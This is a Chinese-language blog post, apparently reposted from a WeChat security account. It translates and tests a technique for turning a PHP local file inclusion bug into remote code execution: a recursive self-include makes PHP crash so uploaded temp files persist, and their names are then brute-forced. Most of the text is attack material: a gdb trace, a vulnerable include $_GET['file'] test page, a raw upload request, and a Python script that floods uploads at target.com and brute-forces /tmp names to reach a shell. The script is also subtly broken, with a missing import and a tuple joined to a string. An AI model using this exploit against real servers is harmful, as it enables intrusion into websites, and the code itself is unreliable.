from:http://ecma.io/?p=364
一、原文部分翻译
搞web安全的都知道,黑客通常利用
/proc/self/environ
和/var/log/apache2/error.log
从LFI
漏洞getshell,但是极少数人知道利用临时文件名getshell这种方法。它比其它方法技巧性更强,因为它只需要一个LFI漏洞。相反,其它可能需要访问
proc
或者/var/log
或者需要一个可控的$_SESSION
变量。此漏洞于2011年被研究人员发现,这篇文章是对这些技术的一个改进。
RFC-1867
中提到,文件上传的时候临时文件默认会存储在服务器默认的一个临时目录中,如果最后文件没有被移动或者没有被重命名,该临时文件就会被删除。如果我们能够赢得竞争,利用
LFI
包含临时文件的话便可以getshell了。不幸的是,临时文件名是由6位混合大小写字母以及数字组成,所以我们不可能一次就猜到它的名字。如果我们找到一种方法能够阻止PHP删除临时文件?幸运的是,PHP就是PHP,当它无限递归包含一个文件的时候,就会导致
SIGSEGV
异常从而不能删除临时文件。
<?php
# test.php
include 'test.php';
?>
$ gdb -q php
Reading symbols from /usr/bin/php...(no debugging symbols found)...done.
(gdb) r -f test.php
Starting program: /usr/bin/php -f test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x00005555557deb60 in ?? ()
(gdb) bt 24
#0 0x00005555557deb60 in ?? ()
#1 0x00005555557dfd31 in virtual_file_ex ()
#2 0x00005555557e120f in tsrm_realpath ()
#3 0x000055555575751e in php_resolve_path ()
#4 0x00007fffecd6ce19 in phar_find_in_include_path () from /usr/lib/php/20151012/phar.so
#5 0x000055555576bc2e in _php_stream_open_wrapper_ex ()
#6 0x0000555555750799 in php_stream_open_for_zend_ex ()
#7 0x00005555557ce104 in zend_stream_fixup ()
#8 0x000055555577a606 in open_file_for_scanning ()
#9 0x000055555577a981 in compile_file ()
#10 0x00005555557a1682 in dtrace_compile_file ()
#11 0x00007fffecd86710 in ?? () from /usr/lib/php/20151012/phar.so
#12 0x000055555577acd3 in compile_filename ()
#13 0x00005555558412b7 in ?? ()
#14 0x00005555557f116b in execute_ex ()
#15 0x00005555557a1741 in dtrace_execute_ex ()
#16 0x00005555558413bc in ?? ()
#17 0x00005555557f116b in execute_ex ()
#18 0x00005555557a1741 in dtrace_execute_ex ()
#19 0x00005555558413bc in ?? ()
#20 0x00005555557f116b in execute_ex ()
#21 0x00005555557a1741 in dtrace_execute_ex ()
#22 0x00005555558413bc in ?? ()
#23 0x00005555557f116b in execute_ex ()
(More stack frames follow...)
因此步骤如下:
-
上传文件并出发自我包含
-
重复上述步骤
-
爆破包含文件
/tmp/[0-9a-zA-Z]
-
getshell
利用脚本如下:
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
二、自己的测试
<?php
# test.php
include $_GET["file"];
?>
接着以表单的形式上传文件,目的地址为/test.php?file=test.php
。至于为什么要以表单的形式,可以参考RFC-1867
POST /test.php?file=test.php HTTP/1.1
Host: 192.168.32.41
Content-Length: 307
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5opAsuedarB37l0R
Referer: http://127.0.0.1/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Test:1
------WebKitFormBoundary5opAsuedarB37l0R
Content-Disposition: form-data; name="file"; filename="LFI.txt"
Content-Type: text/plain
hello,my blog is ecma.io!!!
------WebKitFormBoundary5opAsuedarB37l0R
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundary5opAsuedarB37l0R--
最后你会发现,
/tmp
目录下的临时文件不会被删除。现在你要做的就是上传大量的文件进行爆破吧!
三、感悟
最初的时候,想法还是蛮天真的。LFI
+phpinfo
getshell的例子网上不胜枚举,我竟然天真的想利用此漏洞+phpinfo
直接获取临时文件名,这完全是在扯淡~~~,不过现在基本上弄得很清楚明了了。
四、原文链接
https://dustri.org/b/from-lfi-to-rce-in-php.html
本文始发于微信公众号(关注安全技术):PHP文件包含到远程代码执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论